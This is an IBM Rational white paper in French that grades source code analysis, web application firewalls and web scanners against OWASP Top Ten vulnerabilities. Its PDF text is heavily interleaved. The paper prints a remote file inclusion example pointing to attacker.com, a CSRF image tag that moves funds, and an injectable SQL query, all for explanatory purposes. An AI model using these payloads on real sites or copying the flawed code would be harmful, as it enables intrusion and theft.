Rational France - Livre blanc - Choisir le bon outil pour outils pour faire du bon travail

IBM Software Décembre 2009
Rational

Choisir le bon outil pour
faire du bon travail
Un carnet de notes pour les outils de sécurité d’application

2 Choisir le bon outil pour faire du bon travail

Sommaire Sommaire (suite)
2 Récapitulatif 13 B2 – Dépassements de la mémoire tampon

2 Choisir le bon outil pour faire du bon travail 14 B3 – Services Web

3 Prévention des vulnérabilités versus détection des 15 B4 – Code malicieux
menaces
15 B5 – Cookies personnalisés ou champs masqués
4 Ce qu’il faut mesurer
16 Résumé
4 Le carnet de notes
17 Annexe A : Outils de sécurité d’application – Le carnet
4 A1 – Scripting intersites (XSS) de notes

5 A2 – Failles d’injection
Récapitulatif
5 A2.1 – Injection de code SQL standard Dans les années 1980, le scannage de numéros de téléphone et
le piratage téléphonique faisaient la une des journaux. Dans les
6 A2.2 – Injection de code XML (XPath, XQuery)
1990, nous avions tous peur des attaques sur le Web et de
6 A2.3 – Injection de protocole LDAP (Lightweight recevoir des virus par courrier électronique. Les sept dernières
Directory Access Protocol) années ont vu l’apparition du vol d’identité et des problèmes
de confidentialité. Pendant les 20 dernières années, les
6 A2.4 – Injection de commandes
organisations se sont concentrées sur la protection du réseau,
7 A2.5 – Injection de code AJAX mais au cours des dix dernières années, il est devenu évident
que la menace fondamentale est l’accès au réseau. Le réseau
7 A3 – Exécution de Fichiers Malicieux n’est qu’un moyen pour arriver à une fin. La menace est
8 A4 – Référence directe non sécurisée à un Objet depuis toujours l’accès aux données et aux applications
confidentielles ou aux fonctions de l’entreprise qui
9 A5 – Falsification de requête intersite (CSRF) interagissent avec les données. Les données confidentielles et
10 A6 – Fuite d’information et Traitement d’erreur les applications d’entreprise sont vulnérables aux attaques,
Incorrect surtout en cas d’attaque sur le réseau de l’entreprise.

10 A7 – Violation de Gestion Choisir le bon outil pour faire du bon
d’authentification et de Session
travail
11 A8 – Stockage cryptographique non sécurisé Une gamme d’outils de sécurité d’application a été développée
pour soutenir les efforts visant à protéger l’entreprise contre
11 A9 – Communications non sécurisées les risques liés aux applications non sécurisées. Mais dans le
12 A10 – Manque de Restriction d’Accès URL paysage de la sécurité applicative en constante mutation,
comment les organisations peuvent-elle choisir le bon
12 B1 – Configuration du moteur d’exécution de ensemble d’outils pour atténuer les risques posés à leur
l’application environnement par leurs applications ? De même, comment,
où et par qui ces outils sont-ils utilisés le plus efficacement ?

IBM Software 3

Ce document de présentation technique étudie les outils les capables de bloquer un certain pourcentage du trafic suspect,
plus courants dans l’environnement de la sécurité des mais il existe une nette différence entre les dispositifs de
applications d’entreprise : détection et les dispositifs de prévention proprement dits.

● Pare-feu d’application Web Une bonne solution de prévention des vulnérabilités est
● Outils d’analyse d’application Web capable de trouver et d’aider à éliminer un point faible de
● Outils d’analyse de code source sécurité avant que cette faiblesse puisse être exploitée
concrètement. Les pare-feu d’application Web ne sont pas de
Chaque outil est évalué et comparé en termes de résolution bons dispositifs de prévention. Ils réagissent au trafic Web
des vulnérabilités critiques, en commençant par le entrant qui exploite les vulnérabilités existantes. La prévention
10 vulnérabilités prioritaires identifiées par l’OWASP (Open réelle ne se produit que lorsque la vulnérabilité est
Web Application Security Project). Ce document fournit un véritablement éliminée et ne peut donc plus être exploitée.
carnet de notes pour aider les organisations qui définissent
leur stratégie de sécurité d’application à mieux comprendre Les outils d’analyse d’application Web et les outils d’analyse
l’approche de chaque outil, sa méthode de résolution des de code source sont fondamentalement des solutions de
défauts de sécurité et son efficacité en matière d’élimination prévention. Les outils d’analyse d’application et les outils
des menaces de sécurité sur les données dans les applications. d’analyse de code sont utilisés avant que les vulnérabilités
soient exposées au Web. Ils permettent d’éliminer les risques
Prévention des vulnérabilités versus de manière définitive. Cependant, ces outils ne fournissent pas
détection des menaces de mécanismes de détection des menaces dans
Il existe deux catégories fondamentales rassemblant tous les l’environnement quotidien déployé.
produits de sécurité d’application : la prévention des
vulnérabilités versus la détection des menaces. Il convient de Il existe une limite aux informations qu’un outil (de détection
souligner que pour les besoins de ce document, lorsque les ou de prévention) peut posséder sans étudier et comprendre le
fonctionnalités d’un produit permettent la prévention par la code source sous-jacent. Comme pour toute méthodologie
détection, ce produit est considéré comme un dispositif de d’évaluation manuelle de la sécurité logicielle, plus vous
détection. effectuez de tests de sécurité du code source des applications
statiques, plus vous obtenez d’informations. Il y a aussi un
Les entreprises essaient de gérer une stratégie préventive équilibre entre le temps dont vous disposez pour étudier la
proactive versus une stratégie plus réactive basée sur la situation d’une application en termes de sécurité et la
détection. Nous insistons sur le fait qu’aucune pratique de combinaison appropriée d’approches automatisées et
sécurité d’application ne peut atteindre un niveau de réussite manuelles. Certains mécanismes de détection sont bien
acceptable sans implémenter les deux mécanismes (prévention adaptés aux protections immédiates à court terme.
et détection). Trouver le bon équilibre et le bon investissement
est une décision qui appartient à chaque organisation, selon les Par exemple, vous avez identifié un grand nombre de
menaces, l’exposition et le budget. vulnérabilités par une approche de prévention des
vulnérabilités (analyse statique), mais vous ne pouvez pas
Les pare-feu d’application Web sont un dispositif de détection toutes les corriger immédiatement car vous n’avez pas
des menaces. Le rôle principal d’un pare-feu est de détecter et suffisamment de temps ni de ressources pour le faire. Vous
de bloquer les requêtes non valides ou malicieuses envoyées appliquez une solution à court terme comme un pare-feu
à votre application Web. On pourrait aussi dire que les d’application Web, une définition de règles hautement
pare-feu sont des dispositifs de prévention. Les pare-feu sont personnalisée, jusqu’à ce que le code soit corrigé et vérifié en
effectuant une analyse de code source.


Ce qu’il faut mesurer chaque outil en la matière. Cette évaluation vous permet de
Pour établir une comparaison précise et juste entre ces déterminer la combinaison d’outils et de processus de
technologies, ce document de présentation technique compare protection contre les menaces critiques offrant la méthode la
les outils à l’aide des 10 vulnérabilités prioritaires définis par plus appropriée pour votre organisation.
l’OWASP comme les défauts de sécurité les plus critiques
(http://www.owasp.org/index.php/ OWASP Top_Ten_Project). Le carnet de notes
Ce document évalue cinq vulnérabilités critiques Chaque outil dans chaque catégorie de vulnérabilité a reçu une
supplémentaires pour compléter les catégories de comparaison note graphique en plus d’une explication plus détaillée
pour le référentiel. concernant sa capacité à résoudre la vulnérabilité. Les notes
sont regroupées dans un bulletin final à la fin de chaque
● A1 – Scripting intersites (XSS) rapport. Les notes sont les suivantes :
● A2 – Failles d’injection
● A3 – Exécution de fichiers malicieux
● A4 – Référence directe non sécurisée à un Objet Capacité à résoudre la Note
● A5 – Falsification de requête intersite (Cross-site vulnérabilité
request forgery) Excellente
● A6 – Fuite d’information et Traitement d’erreur Incorrect Bonne
● A7 – Violation de Gestion d’authentification et de Session Moyenne
● A8 – Stockage cryptographique non sécurisé Aucune
● A9 – Communications non sécurisées
● A10 – Manque de Restriction d’Accès URL
A1 – Scripting intersites (XSS)
Le scripting intersites est une des attaques prédominantes
L’OWASP fournit des informations pour identifier les risques
contre les applications Web. Pour le pirate, cette méthode
associés à l’environnement d’application Web actuel.
présente en grande partie les mêmes avantages que le
Cependant, aucune pratique de sécurité des applications ne
dépassement de la mémoire tampon. Elle est relativement
doit exclure des débats pour identifier et atténuer également
facile à implémenter et peut faire en sorte que le navigateur
les risques associés aux catégories suivantes.
du client émette du code de scripting arbitraire du côté client
contrôlé par le pirate. Le but final d’une attaque XSS est de
● B1 – Configuration du moteur d’exécution de l’application
prendre en otage une session d’application d’un utilisateur
● B2 – Dépassements de la mémoire tampon
existant ou de lancer une attaque d’hameçonnage (ou
● B3 – Services Web
phishing).
● B4 – Code malicieux
● B5 – Cookies personnalisés ou champs masqués
Les outils les plus efficaces soulignent les paramètres d’entrée
vulnérables aux attaques XSS et déterminent les emplacements
Pour déterminer comment chaque outil de sécurité
spécifiques dans le code d’application où réside le code
d’application identifie et atténue les menaces pour chaque
vulnérable. Les meilleurs outils détectent et empêchent
catégorie de vulnérabilité, nous devons identifier la méthode
le scripting intersites avec une configuration personnalisée
idéale pour aborder la vulnérabilité elle-même et comment
minimum.
chaque outil de sécurité d’application identifie et atténue les
menaces. Ce document fournit une évaluation de l’efficacité de

IBM Software 5

A2.1 – Injection de code SQL
Analyse de code Pare-feu Outil d’analyse
source d’application Web d’application Web L’injection de code SQL est une technique qui consiste à
injecter des commandes SQL dans la base de données par
l’utilisateur pour obtenir les commandes émises par
L’analyse de code Les pare-feu Les outils d’analyse
source fournit des d’application Web d’application Web
l’interprète SQL. Parfois, il faut plusieurs itérations de chaînes
informations sont uniquement sont uniquement d’attaque pour ﬁnalement construire une chaîne de code SQL
détaillées pour capables de fournir capables de fournir correctement formatée, ce qui déclenche une attaque par
éliminer la l’URL exploitable et l’URL exploitable et
injection de code SQL. Lorsque l’application renvoie des
vulnérabilité, y les paramètres les paramètres
compris la ligne de utilisés pour exploiter utilisés pour exploiter détails concernant l’erreur dans la base de données qui
code où la la faille. La plupart la faille. Pour trouver permettent au pirate de perfectionner la syntaxe, on parle
vulnérabilité se des pare-feu tous les champs de généralement d’injection de code SQL normale. L’injection
trouve. d’application Web formulaire injectables,
nécessitent des une personnalisation de code SQL aveugle fait généralement référence aux cas où
règles personnalisées selon l’utilisateur peut l’application ne fournit pas de détails sur l’erreur mais renvoie
pour couvrir les être nécessaire. un message d’erreur générique à la place. Le pirate doit alors
attaques XSS les plus
basiques.
exécuter une série de requêtes pour essayer de provoquer une
réponse positive et négative de la part de l’application.
Souvent, le pirate est capable d’interpréter les messages
A2 – Failles d’injection d’erreur envoyés directement depuis la base de données
Les failles d’injection représentent une des attaques (injection de code SQL normale), mais il n’est pas nécessaire
prédominantes contre les applications Web aujourd’hui. de réussir ce type d’attaque par le biais d’une injection de code
Le point commun entre toutes les attaques par injection SQL aveugle. Au lieu de cela, le pirate peut itérer par une
réside dans le fait qu’il existe quelque part dans le code série de tentatives d’injection de code SQL jusqu’à réussir son
source un interprète qui prend les données et les traite sous attaque. Quoi qu’il en soit, le risque et le résultat des attaques
forme de code. Lorsque les données passent sans être validées réussies sont les mêmes pour l’injection aveugle et l’injection
correctement, un utilisateur malicieux peut injecter du code normale.
malicieux dans cet interprète. Le but est souvent l’acquisition
ou la destruction de données conﬁdentielles.
source d’application Web d’application Web
Une injection de code SQL est le type de défauts d’injection
le plus courant. Lors d’une injection de code SQL, le pirate
insère des données par le biais de n’importe quel champ source fournit des d’application Web d’application Web
d’entrée accessible par l’utilisateur pour que ces données informations sont uniquement peuvent détecter une
soient interprétées par la base de données comme du texte de détaillées pour capables de fournir injection de code
éliminer la l’URL exploitable et SQL. Les méthodes
commande SQL supplémentaire. Cependant, il existe des
vulnérabilité, y les paramètres utilisées ont un taux
formes essentiellement illimitées de cette attaque. Les compris la ligne de utilisés pour exploiter faussement positif
applications Web autorisent les entrées contrôlables par code où la la faille. La plupart très élevé.
l’utilisateur sans valider les entrées. Les données sont presque vulnérabilité se des pare-feu
trouve. d’application Web
toujours exposées à un type de vulnérabilité par injection. Les nécessitent des
meilleurs outils suivent et mettent en évidence tous les points règles personnalisées
d’entrée d’une application et surtout tous les endroits où des pour bloquer les
attaques les plus
entrées d’utilisateur existent. basiques.


A2.2 – Injection de code XML (XPath et XQuery) A2.3 – Injection LDAP
XPath et XQuery permettent d’interroger des documents Le protocole LDAP est souvent utilisé dans les entreprises
XML. XQuery fournit des stockages de données relationnels pour la gestion des comptes clients, l’authentification et même
pour les informations contenues à l’intérieur. C’est pour cette l’autorisation. Si votre application Web utilise le protocole
raison que XPath et XQuery sont vulnérables aux attaques LDAP, alors vos outils d’analyse d’application doivent être
utilisant les mêmes techniques qu’une injection de code SQL. capables de comprendre ce protocole. L’injection LDAP se
On peut considérer les injections de code XML simplement produit lorsque des données non validées fournies par un
comme une autre attaque par injection où le stockage de utilisateur sont utilisées dans la construction de requêtes ou de
données est en fait un fichier XML et non une base de filtres LDAP. Il se peut que le système LDAP permette à
données. Il faut prendre en compte l’emplacement du fichier l’utilisateur malicieux d’interroger le système LDAP sous-
XML et le type de données qu’il contient lorsqu’on étudie les jacent et d’accéder aux données contenues dans le système.
risques associés aux injections de code XML. L’injection XML
devient plus courante en raison de l’utilisation plus répandue Même si cette attaque est très courante, si votre application est
des services Web, qui reposent en grande partie sur le vulnérable, elle est aussi grave que n’importe quelle autre
traitement des flux de données XML. L’injection XML est attaque par injection. Il est essentiel de comprendre les API
difficile à découvrir automatiquement à l’aide des pare-feu utilisées et la provenance des données utilisées par les API
d’application ou des outils d’analyse d’application Web sans pour assurer une couverture précise et complète.
intervention manuelle. Les outils d’analyse d’application Web
souffrent du fait qu’il s’agisse souvent d’un test à l’aveugle,
sans informations sur les API, ce qui accroît considérablement
le taux faux positif. Il est essentiel de comprendre les
API utilisées et la provenance des données transmises aux API
pour assurer une couverture précise et complète. L’analyse de code Les pare-feu Les outils d’analyse
source fournit des d’application Web d’application Web
informations sont uniquement sont uniquement
détaillées pour capables de fournir capables de fournir
Analyse de code Pare-feu Outil d’analyse éliminer la l’URL exploitable et l’URL exploitable et
source d’application Web d’application Web vulnérabilité, y les paramètres les paramètres
compris la ligne de utilisés pour exploiter utilisés pour exploiter
code où la la faille. La plupart la faille. Pour trouver
L’analyse de code Les pare-feu Les outils d’analyse vulnérabilité se des pare-feu tous les champs de
source peut fournir d’application Web d’application Web trouve. d’application Web formulaire injectables
des informations sont uniquement sont uniquement nécessitent des et pour obtenir une
détaillées pour capables de fournir capables de fournir règles personnalisées manipulation LDAP
éliminer la l’URL exploitable et l’URL exploitable et pour couvrir les adaptée, une
vulnérabilité, y les paramètres les paramètres attaques LDAP les personnalisation
compris la ligne de utilisés pour exploiter utilisés pour exploiter plus basiques. selon l’utilisateur peut
code où la la faille. Tous les la faille. Pour trouver être nécessaire.
vulnérabilité se pare-feu d’application tous les champs de
trouve. Web ne prennent pas formulaire injectables,
en charge l’examen une personnalisation
des flux de données selon l’utilisateur peut A2.4 – Injection de commandes
XML. Une passerelle être nécessaire. L’injection de commandes est un des types de vulnérabilités
XML séparée est
recommandée dans
par injection les plus graves. Elle permet aux pirates d’exécuter
certains cas. des commandes système arbitraires, généralement à un niveau
de privilèges élevé. La réussite de cette attaque ne fournit

IBM Software 7

généralement pas beaucoup de retours d’informations à Analyse de code Pare-feu Outil d’analyse
l’utilisateur. Il est difficile de déterminer si une attaque source d’application Web d’application Web
a réussi ou échoué.

source peut d’application Web ne d’application Web
déterminer les font pas de utilisés avec des
endroits où les distinction entre les outils d’analyse
données contrôlables requêtes AJAX et les statiques offrent la
par l’utilisateur requêtes HTTP. Les meilleure détection et
La manière la plus Les pare-feu Les outils d’analyse
doivent être validées requêtes AJAX sont la meilleure
efficace de trouver et d’application Web d’application Web
(et ne le sont pas) purement basées sur protection.
d’empêcher les offrent un certain sont uniquement
mais termine toujours le client (requête
attaques par injection niveau de protection capables de fournir
par les données du inter-domaines par
de commandes. contre une injection l’URL exploitable et
côté client. Dans cet utilisation d’un proxy).
Chaque commande de commande les paramètres
espace, la plupart Bon nombre de ces
de système émise est connue. La prise en utilisés pour exploiter
des solutions ne font requêtes sont
identifiée. Les charge est limitée car la faille. Pour trouver
pas de distinction invisibles pour le
données de il faut savoir à tous les champs de
entre les requêtes serveur.
l’utilisateur sont l’avance que le formulaire injectables,
AJAX et les requêtes
utilisées et le texte de champ est vulnérable une personnalisation
HTTP normales.
commande est suivi. aux injections et limité selon l’utilisateur peut
aux entrées être nécessaire. Il est
spécifiques au Web. très difficile de savoir
Les autres interfaces si l’attaque a réussi A3 – Exécution de fichiers malicieux
à un système dorsal ou échoué car
L’exécution de fichiers malicieux est un modèle d’attaque très
qui ne s’appuient pas l’émission de la
sur le Web sont tout commande sur le courant pour les applications php. Ce genre d’attaque permet
de même système externe est à un attaquant de télécharger le contenu interprété ou émis
vulnérables. souvent abstraite et par une application hôte. Cela peut conduire à compromettre
inconnue au niveau
de l’interface un serveur Web complet, à défaire le site Web et à installer un
utilisateur. root kit ainsi que de nombreuses autres failles étant donné que
le code fourni par le pirate est exécuté sur le système
vulnérable.
A2.5 – Injection de code AJAX
L’injection de code AJAX est un type d’attaque relativement Une forme simple de ce type d’attaque est décrite ci-dessous :
nouveau qui n’est pas très courant, mais comme l’utilisation
d’AJAX est de plus en plus répandue, ce type d’attaque <?php include($hidden_user_skin).’’skins’’.’’php’’); ?>
pourrait devenir dangereux. Une injection AJAX est une
injection côté client basée sur un cadre de référence JavaScript Dans cet exemple, le serveur Web personnalise l’expérience de
et XML. L’application côté serveur chargée de traiter ces l’utilisateur en utilisant un paramètre masqué pour
requêtes traite la requête d’injection AJAX comme une sélectionner l’habillage choisi par l’utilisateur. Si un pirate
requête HTTP GET ou POST normale. La cause de la modifie le champ masqué $hidden_user_skin pour
plupart des problèmes de sécurité liée aux technologies AJAX http://attacker.com/exploit.php?, il fait en sorte que le serveur
est la tendance croissante des développeurs à stocker de plus Web exécute du code arbitraire contrôlé par le pirate. Ce code
en plus de données, souvent sensibles du côté client, sans malicieux est chargé à partir d’un emplacement contrôlé par le
qu’ils se rendent compte que toutes ces données et pirate et exécuté sur le serveur de la victime.
fonctionnalités sont accessibles à l’utilisateur malicieux.
Ce problème se manifeste lorsque l’application stocke des Tous les outils associés à cette catégorie de résultats doivent
données sensibles sur une charge de réponse côté client et articuler tous les endroits où les entrées de l’utilisateur sont
qu’un défaut XSS accède à ces données et les transmet au directement référencées sans validation appropriée.
pirate. Il faut faire attention aux données stockées sur le client
et au type de fonctions exposées du côté client.


S’il s’agissait d’une requête pour récupérer les informations du
source d’application Web d’application Web compte d’un utilisateur spécifique, il suffirait au pirate de
modifier le paramètre d’identification de l’utilisateur.

source peut d’application Web d’application Web Si le code côté serveur est codé comme suit :
déterminer les peuvent identifier ce utilisés avec des
endroits où les type d’attaque. outils d’analyse String userId = request.getParameter(‘‘userId)’’;
données contrôlables Toutefois, ces règles statiques offrent la
par l’utilisateur doivent être adaptées meilleure détection et
String query = ‘‘SELECT * FROM users WHERE
doivent être validées, à chaque application la meilleure userId=’’’+userId +‘‘’’’;
mais toutes les Web. Les pare-feu protection.
solutions dans cet d’application Web
Le code côté serveur est potentiellement vulnérable à une
espace ne prennent n’offrent pas une
pas encore en charge protection universelle injection de code SQL mais, même si la requête sous-jacente
le langage PHP contre toutes les utilise des requêtes paramétrées, le pirate peut obtenir les
(Support Hypertext formes de cette informations de compte de n’importe quel utilisateur dans le
Preprocessor). Dans attaque.
les cas où PHP n’est système.
pas officiellement pris
en charge comme Comme dans A3, il faut que la solution puisse identifier tous
langage, il est parfois
possible de définir
les endroits qui récupèrent les entrées et suivre ces entrées
des règles d’analyse jusqu’à leur destination finale pour pouvoir identifier ce type
basées sur un d’attaque de manière fiable.
modèle pour
rechercher ces
vulnérabilités
potentielles. Analyse de code Pare-feu Outil d’analyse

A4 – Référence directe non sécurisée à un Objet L’analyse de code Les pare-feu Les outils d’analyse
Lorsqu’une application expose volontairement ou source peut d’application Web d’application Web
déterminer tous les peuvent identifier ce utilisés avec des
involontairement l’accès aux références d’objets internes, cela endroits où des type d’attaque. outils d’analyse
entraîne l’exposition des données. Cela se produit lorsque les données contrôlables Cependant, ces statiques offrent la
clés primaires d’une base de données sont exposées sous la par l’utilisateur règles doivent meilleure détection et
doivent être validées. généralement être la meilleure
forme de paramètres d’entrée fournis par l’utilisateur. Souvent,
Si vous utilisez adaptées à chaque protection. Les outils
les utilisateurs malicieux profitent de ces attaques pour accéder l’analyse et la application Web et d’analyse
à des données non autorisées, représentées par tout objet visualisation du flux elles n’offrent pas une d’application Web
direct référencé. Selon les meilleures pratiques de sécurité, il de données, vous protection universelle nécessitent
savez où les données contre toutes les généralement une
ne faut jamais utiliser directement les clés de base de données arrivent. L’analyse formes de cette manipulation
pour référencer des objets. Il est préférable d’utiliser une souligne attaque. Les meilleurs manuelle des
mappe relative d’identifiants, qui font référence aux données spécifiquement les pare-feu d’application paramètres d’entrée
zones vulnérables. permettent d’identifier des applications pour
uniquement dans le contexte de l’utilisateur. la valeur et le type détecter ce type
d’une plage d’attaque.
Voici un exemple : spécifique en forçant
l’acceptation des
paramètres et valeurs
http://bobs.shopping.com/accountInfo.jsp?userId=5 valides uniquement.

IBM Software 9

A5 – Falsification de requête intersite (CSRF) Par exemple, si le site malicieux envoie à Alice :
Falsification de requête intersite (CSRF) est une attaque
dévastatrice basée sur la relation de confiance existant entre <img src=‘‘https://trusted.banksite.com/transferFunds?
une application et un client. La plupart du temps, si une FromAccount= [alices_account_number]&amount=1000&
application n’a pas pris de mesures spécifiques pour empêcher toAccount= [attacker_account_number]’’>
la CSRF, elle est probablement vulnérable à ce type d’attaque.
Alice risque de transférer de l’argent sur le compte du pirate.

Il est important de comprendre qu’aucun outil n’est expert en
matière d’identification des CSRF, même si leur capacité à
détecter les attaques XSS peut les aider à identifier les risques
3. Le pirate utilise la confiance établie de CSRF. Toutefois, ce facteur à lui seul n’est pas suffisant, car
envers le site Web légitime pour transférer
des fonds hors du compte d'Alice les CSRF peuvent exister sans XSS et les attaques XSS
peuvent exister sans CSRF. Les vulnérabilités XSS rendent la
protection contre les CSRF plus difficile.

1. Connexion

2. Visite
L’identification des Les pare-feu Même si les outils
Alice attaques XSS aide à d’application Web d’analyse Web
identifier les CSRF. peut apporter des assurent la détection
Mais la détection fonctionnalités des CSRF sans
n’est pas suffisante permettant de réduire modification, le faible
pour garantir la le risque de CSRF, taux faussement
détection totale des comme la validation positif pour les
CSRF. Le soutien du référent HTTP, le attaques XSS facilite
apporté par l’analyse forçage des l’identification des
de code source est formulaires et le vecteurs d’attaques
limité. chiffrement des CSRF potentielles.
paramètres, ainsi que Une combinaison
Dans ce scénario, la victime (Alice) se connecte à son compte d’autres techniques. d’analyse Web, de
bancaire et, sans se déconnecter, visite un site malicieux qui La capacité de tests manuels et
profite de la relation de confiance qui existe entre Alice et son protection dépend du d’analyse
fournisseur et doit d’application Web
compte bancaire. En incluant une simple requête, qu’Alice ne être configurée constitue la meilleure
peut pas voir, à chaque fois qu’elle visite le site malicieux le manuellement selon approche pour
pirate qui envoie la requête peut accéder au compte d’Alice l’environnement. identifier ces types
d’attaques.
comme s’il était Alice.


A6 – Fuite d’information et Traitement d’erreur Incorrect A7 – Violation de Gestion d’authentification et de Session
Les fuites d’informations et le traitement d‘erreurs incorrect L’absence de contrôles d’authentification et de gestion de
sont des problèmes bien plus graves que beaucoup session adaptés dans une application entraîne de nombreuses
d’organisations le pensent. Un élément aussi banal qu’un vulnérabilités graves, comme le piratage de session et
message d’erreur peut fournir à un pirate exactement les l’élévation des privilèges. Dans les applications Web, ne pas
informations dont il a besoin pour perfectionner son attaque, valider l’utilisateur pendant la session permet à un utilisateur
que ce soit la version de la base de données utilisée, une trace d’accéder aux zones de l’application réservées à une autre
de pile révélant des informations sensibles ou des fichiers personne possèdent un niveau de privilèges différent ou
journaux contenant des messages de débogage avec des supérieur.
données sensibles qui peuvent persister pendant des décennies.
Le piratage de CardSystems, Inc.© en 2005 en est un parfait Le meilleur moyen d’identifier un processus d’authentification
exemple. Ce cas a montré que des données sensibles étaient interrompu est la combinaison de tests manuels et l’analyse du
journalisées pour déboguer des transactions non autorisées ou code source. Les analyses de code source aident à identifier
incomplètes. Le pirate a réussi à récupérer ces données, tous les points d’entrée d’une application Web et à vérifier que
exposant ainsi 40 millions de dossiers. Il convient de souligner l’utilisateur est autorisé, tandis que les tests manuels utilisent
qu’aucun outil d’analyse d’application Web ni pare-feu les résultats de l’analyse de code source pour concentrer les
d’application Web ne peut détecter cette attaque. Seule une attaques non seulement sur les zones avec autorisation pour
analyse de code source qui identifie toutes les sorties peut vérifier qu’elles sont correctes, mais aussi les zones sans
détecter la vulnérabilité à résoudre. autorisation pour vérifier que la conception est bonne.
L’analyse du code source identifie les API liées à
l’authentification et à la gestion de session, en orientant
rapidement l’expert en sécurité vers les endroits où le code
doit être analysé manuellement.

L’analyse du code Les pare-feu Les outils d’analyse
source est capable d’application Web d’application Web Analyse de code Pare-feu Outil d’analyse
de fournir une apportent une apportent une plus source d’application Web d’application Web
couverture complète certaine fonctionnalité grande valeur que les
contre la gestion en interprétant et en pare-feu d’application
incorrecte des interceptant les Web. Ils interprètent L’analyse de code Les pare-feu Les outils d’analyse
erreurs, car souvent, messages d’erreur de nombreux types source peut être d’application Web ne d’application Web ne
la gestion des erreurs (dans la réponse) d’erreurs renvoyés utilisée pour identifier sont pas efficaces sont pas efficaces
n’est pas entièrement envoyés par par les applications les points d’entrée de pour atténuer les dans cette catégorie.
envoyée directement l’application, mais ils Web, mais ils sont l’application et, à risques Ils peuvent être utiles
à l’utilisateur d’une ne sont pas très strictement limités l’aide de règles d’authentification et lorsqu’ils sont
application Web. efficaces en termes aux erreurs qui sont personnalisées, elle d’autorisation, mais employés comme
de valeur réelle pour renvoyées à peut aider à vérifier ils apportent de la moteur de test
ce type de risque. l’utilisateur. que les contrôles valeur en matière de manuel couplé aux
d’autorisation sont suivi et de sécurité résultats de l’analyse
effectués. des données de de code source.
Cependant, en tant session, surtout
que technologie lorsqu’ils sont utilisés
isolée, elle ne suffit comme proxy
pas à vérifier que les inversé.
contrôles
d’autorisation
existants ne sont pas
eux-mêmes
interrompus.

IBM Software 11

A8 – Stockage cryptographique non sécurisé Les outils d’analyse d’application Web peuvent être utilisés
La cryptographie est une technologie importante dans toutes pour vérifier que le protocole SSL est utilisé en application
les applications chargées de stocker et de gérer des données frontale, mais ils manquent de visibilité en ce qui concerne les
sensibles. Une application qui doit être conforme à la norme connexions dorsales éventuelles entre les systèmes. L’analyse
PCI doit gérer la transmission et le stockage sécurisés de de code source peut identifier de nombreuses connexions
données sensibles. Une mauvaise utilisation du chiffrement ou dorsales, mais elle ne prend pas suffisamment en compte la
l’utilisation d’un chiffrement faible peut entraîner une logique d’entreprise pour déterminer si ces connexions doivent
divulgation d’informations très sérieuses. être sécurisées ou sont mal sécurisées. Pour ces types de
problèmes, une combinaison d’outils d’analyse d’application
Seule l’analyse de code source peut aider à découvrir et Web et d’analyse de code source constitue la meilleure
atténuer les vulnérabilités liées aux contrôles cryptographiques stratégie. Les pare-feu d’application Web n’apportent
inadaptés. Ils peuvent être inadaptés en raison de l’utilisation réellement aucun avantage lorsqu’il s’agit de réduire ce
d’une routine de chiffrement faible, ou il se peut que la type de risque.
routine utilisée soit contraire à la politique de l’entreprise.
Elle peut aussi identifier les endroits où la cryptographie est
utilisée pour orienter un analyste vers les zones où une analyse
de code assistée plus rigoureuse est nécessaire.

Analyse de code Pare-feu Outil d’analyse source peut être d’application Web d’application Web
source d’application Web d’application Web utilisée pour identifier peuvent assurer un peuvent aider les
les points de sortie certain niveau de analystes à identifier
d’une application et protection pour le les problèmes de
L’analyse de code Les pare-feu Les outils d’analyse pour orienter un protocole SSL et SSL dans
source peut identifier d’application Web d’application Web analyste qui connaît avec des règles l’application frontale,
l’utilisation de sont complètement sont complètement l’application vers un personnalisées mais ils manquent de
contrôles inefficaces lorsqu’il inefficaces lorsqu’il manque de contrôles capables d’appliquer visibilité en ce qui
cryptographiques peu s’agit d’identifier une s’agit d’identifier une de chiffrement SSL. Pour ce faire, il concerne les
efficaces et aider mauvaise utilisation mauvaise utilisation adaptés. Cependant, faut que le pare-feu connexions dorsales
l’analyste à identifier des contrôles des contrôles en tant que fonctionne comme un pour être efficaces
les endroits où des cryptographiques. cryptographiques. technologie isolée, proxy, ce qui réduit utilisés seuls.
contrôles valides sont elle ne suffit pas à les performances.
mal utilisés. vérifier que tous les
points de sortie qui
doivent être chiffrés
sont chiffrés
A9 – Communications non sécurisées correctement.
Les communications non sécurisées font principalement L’analyse de code
peut aussi identifier
référence à l’utilisation du protocole SSL (secure sockets
l’utilisation de
layer) pour chiffrer des informations sensibles entre le client certaines API qui
(généralement un navigateur Web) et l’application Web. Cela sécurisent les
communications
est extrêmement important pour s’assurer que les données
réseau, fournissant
sensibles ne sont pas transmises sans être chiffrées, surtout les ainsi aux analystes
données d’authentification des utilisateurs et les informations une aide à la
personnelles identifiables. vérification
supplémentaire.


A10 – Manque de Restriction d’Accès URL
De nombreuses applications Web limitent l’accès aux pages source d’application Web d’application Web
simplement en appliquant une autorisation au niveau de la
couche de présentation, ce qui signifie que l’application ne
peut pas restituer certains liés protégés aux utilisateurs non source peut être d’application Web d’application Web ont
autorisés. Cependant, les utilisateurs qui tentent d’accéder utilisée pour identifier peuvent dans du mal à identifier les
manuellement à ces URL contournent les contrôles toutes les pages certains cas forcer pages non liées ou
pouvant être l’authentification des les pages générées
d’autorisation au niveau de la couche de présentation. Il est
visualisées, même utilisateurs pour dynamiquement. Ils
important d’effectuer des autorisations déclaratives ou celles qui ne sont pas certaines pages, mais peuvent les manquer,
programmatiques au niveau de couche métier en plus de liées directement. ce n’est mais si ces pages
l’autorisation au niveau de la couche de présentation. Cette technologie ne généralement pas le sont connues, la
peut pas identifier les meilleur endroit pour plupart des outils
Généralement, l’autorisation de la couche de présentation est pages générées exécuter ce type de d’analyse peuvent
uniquement destinée à des fins de convivialité, pas de sécurité. dynamiquement et contrôle. être configurés pour
Les utilisateurs capables de deviner l’URL ont un accès non elle ne peut pas analyser ces pages
garantir que les manuellement. Les
autorisé, sans l’autorisation de couche métier appropriée. contrôles outils d’analyse
d’autorisation d’application Web et
Pour identifier correctement ce risque, la meilleure solution appropriés sont en l’analyse manuelle
place sans inspection utilisés avec l’analyse
est une combinaison d’analyse de code source, d’analyse
manuelle. L’analyse de code source
d’application Web et d’ethical hacking manuel. Les outils de code source peut assurent la meilleure
d’analyse d’application Web n’ont pas une visibilité suffisante aussi identifier les API couverture.
de la structure de l’application Web au niveau source pour qui sont associées
aux fonctions
trouver et analyser des pages Web non liées, tandis que d’authentification et
l’analyse de code source n’a pas une visibilité suffisante d’autorisation de
des processus métier pour déterminer si des contrôles l’entreprise, ce qui
fournit à l’analyste
d’authentification ou d’autorisation sont requis. Dans des pistes
